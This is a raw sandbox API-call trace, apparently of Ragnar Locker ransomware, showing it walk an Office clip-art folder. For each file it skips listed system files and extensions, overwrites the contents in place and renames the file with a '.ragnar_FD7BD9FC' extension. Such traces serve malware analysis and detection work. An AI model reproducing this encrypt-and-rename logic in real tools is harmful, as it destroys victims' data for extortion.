GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.746] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18234_.WMF" | out: lpString1="BD18234_.WMF") returned="BD18234_.WMF" [0096.746] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF") returned=".WMF" [0096.746] lstrcmpiW (lpString1="BD18234_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.746] lstrcmpiW (lpString1="BD18234_.WMF", lpString2="autorun.inf") returned 1 [0096.746] lstrcmpiW (lpString1="BD18234_.WMF", lpString2="boot.ini") returned -1 [0096.746] lstrcmpiW (lpString1="BD18234_.WMF", lpString2="bootfont.bin") returned -1 [0096.746] lstrcmpiW (lpString1="BD18234_.WMF", lpString2="bootsect.bak") returned -1 [0096.746] lstrcmpiW (lpString1="BD18234_.WMF", lpString2="bootmgr") returned -1 [0096.746] lstrcmpiW (lpString1="BD18234_.WMF", lpString2="bootmgr.efi") returned -1 [0096.746] lstrcmpiW (lpString1="BD18234_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.746] lstrcmpiW (lpString1="BD18234_.WMF", lpString2="desktop.ini") returned -1 [0096.747] lstrcmpiW (lpString1="BD18234_.WMF", lpString2="iconcache.db") returned -1 [0096.747] lstrcmpiW (lpString1="BD18234_.WMF", lpString2="ntldr") returned -1 [0096.747] lstrcmpiW (lpString1="BD18234_.WMF", lpString2="ntuser.dat") returned -1 [0096.747] lstrcmpiW (lpString1="BD18234_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.747] lstrcmpiW (lpString1="BD18234_.WMF", lpString2="ntuser.ini") returned -1 [0096.747] lstrcmpiW (lpString1="BD18234_.WMF", lpString2="thumbs.db") returned -1 [0096.747] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.747] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.747] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.747] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.747] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.747] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.747] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18234_.wmf")) returned 0x20 [0096.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18234_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.747] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1876) returned 1 [0096.747] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x74b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.748] GetProcessHeap () returned 0x580000 [0096.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.748] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.749] VirtualAlloc (lpAddress=0x0, dwSize=0x754, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.749] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.749] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.750] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x754, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x754, lpOverlapped=0x0) returned 1 [0096.750] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.750] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x754, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.750] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x754, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x754, lpOverlapped=0x0) returned 1 [0096.750] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x754, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.750] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.750] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.750] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.750] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.750] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.750] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.750] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.750] GetProcessHeap () returned 0x580000 [0096.750] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.751] CloseHandle (hObject=0xf4) returned 1 [0096.751] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF" [0096.751] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF.ragnar_FD7BD9FC" [0096.751] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18234_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18234_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.751] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a25aa00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8a25aa00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18235_.WMF", cAlternateFileName="")) returned 1 [0096.751] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.751] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18235_.WMF" | out: lpString1="BD18235_.WMF") returned="BD18235_.WMF" [0096.751] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF") returned=".WMF" [0096.751] lstrcmpiW (lpString1="BD18235_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.751] lstrcmpiW (lpString1="BD18235_.WMF", lpString2="autorun.inf") returned 1 [0096.751] lstrcmpiW (lpString1="BD18235_.WMF", lpString2="boot.ini") returned -1 [0096.752] lstrcmpiW (lpString1="BD18235_.WMF", lpString2="bootfont.bin") returned -1 [0096.752] lstrcmpiW (lpString1="BD18235_.WMF", lpString2="bootsect.bak") returned -1 [0096.752] lstrcmpiW (lpString1="BD18235_.WMF", lpString2="bootmgr") returned -1 [0096.752] lstrcmpiW (lpString1="BD18235_.WMF", lpString2="bootmgr.efi") returned -1 [0096.752] lstrcmpiW (lpString1="BD18235_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.752] lstrcmpiW (lpString1="BD18235_.WMF", lpString2="desktop.ini") returned -1 [0096.752] lstrcmpiW (lpString1="BD18235_.WMF", lpString2="iconcache.db") returned -1 [0096.752] lstrcmpiW (lpString1="BD18235_.WMF", lpString2="ntldr") returned -1 [0096.752] lstrcmpiW (lpString1="BD18235_.WMF", lpString2="ntuser.dat") returned -1 [0096.752] lstrcmpiW (lpString1="BD18235_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.752] lstrcmpiW (lpString1="BD18235_.WMF", lpString2="ntuser.ini") returned -1 [0096.752] lstrcmpiW (lpString1="BD18235_.WMF", lpString2="thumbs.db") returned -1 [0096.752] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.752] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.752] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.752] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.752] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.752] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.752] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18235_.wmf")) returned 0x20 [0096.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18235_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.753] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1852) returned 1 [0096.753] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x733, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.753] GetProcessHeap () returned 0x580000 [0096.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.753] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.754] VirtualAlloc (lpAddress=0x0, dwSize=0x73c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.754] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.754] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.754] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x73c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x73c, lpOverlapped=0x0) returned 1 [0096.755] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.755] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x73c, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.755] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x73c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x73c, lpOverlapped=0x0) returned 1 [0096.755] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x73c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.755] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.755] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x73c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.755] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.755] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.755] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.755] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.755] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.755] GetProcessHeap () returned 0x580000 [0096.755] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.756] CloseHandle (hObject=0xf4) returned 1 [0096.756] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF" [0096.756] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF.ragnar_FD7BD9FC" [0096.756] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18235_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18235_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.756] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f9ad400, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9f9ad400, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x6d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18236_.WMF", cAlternateFileName="")) returned 1 [0096.756] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.756] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18236_.WMF" | out: lpString1="BD18236_.WMF") returned="BD18236_.WMF" [0096.756] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF") returned=".WMF" [0096.756] lstrcmpiW (lpString1="BD18236_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.756] lstrcmpiW (lpString1="BD18236_.WMF", lpString2="autorun.inf") returned 1 [0096.757] lstrcmpiW (lpString1="BD18236_.WMF", lpString2="boot.ini") returned -1 [0096.757] lstrcmpiW (lpString1="BD18236_.WMF", lpString2="bootfont.bin") returned -1 [0096.757] lstrcmpiW (lpString1="BD18236_.WMF", lpString2="bootsect.bak") returned -1 [0096.757] lstrcmpiW (lpString1="BD18236_.WMF", lpString2="bootmgr") returned -1 [0096.757] lstrcmpiW (lpString1="BD18236_.WMF", lpString2="bootmgr.efi") returned -1 [0096.757] lstrcmpiW (lpString1="BD18236_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.757] lstrcmpiW (lpString1="BD18236_.WMF", lpString2="desktop.ini") returned -1 [0096.757] lstrcmpiW (lpString1="BD18236_.WMF", lpString2="iconcache.db") returned -1 [0096.757] lstrcmpiW (lpString1="BD18236_.WMF", lpString2="ntldr") returned -1 [0096.757] lstrcmpiW (lpString1="BD18236_.WMF", lpString2="ntuser.dat") returned -1 [0096.757] lstrcmpiW (lpString1="BD18236_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.757] lstrcmpiW (lpString1="BD18236_.WMF", lpString2="ntuser.ini") returned -1 [0096.757] lstrcmpiW (lpString1="BD18236_.WMF", lpString2="thumbs.db") returned -1 [0096.757] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.757] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.757] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.757] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.757] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.757] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.757] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18236_.wmf")) returned 0x20 [0096.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18236_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.758] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1748) returned 1 [0096.758] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.758] GetProcessHeap () returned 0x580000 [0096.758] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.758] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.759] VirtualAlloc (lpAddress=0x0, dwSize=0x6d4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.759] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.759] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.759] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6d4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x6d4, lpOverlapped=0x0) returned 1 [0096.760] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.760] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.760] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6d4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x6d4, lpOverlapped=0x0) returned 1 [0096.760] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.760] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.760] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.760] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.760] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.760] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.760] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.760] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.760] GetProcessHeap () returned 0x580000 [0096.760] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.761] CloseHandle (hObject=0xf4) returned 1 [0096.761] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF" [0096.761] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF.ragnar_FD7BD9FC" [0096.761] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18236_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18236_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.762] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29966d00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29966d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x5fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18237_.WMF", cAlternateFileName="")) returned 1 [0096.762] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: 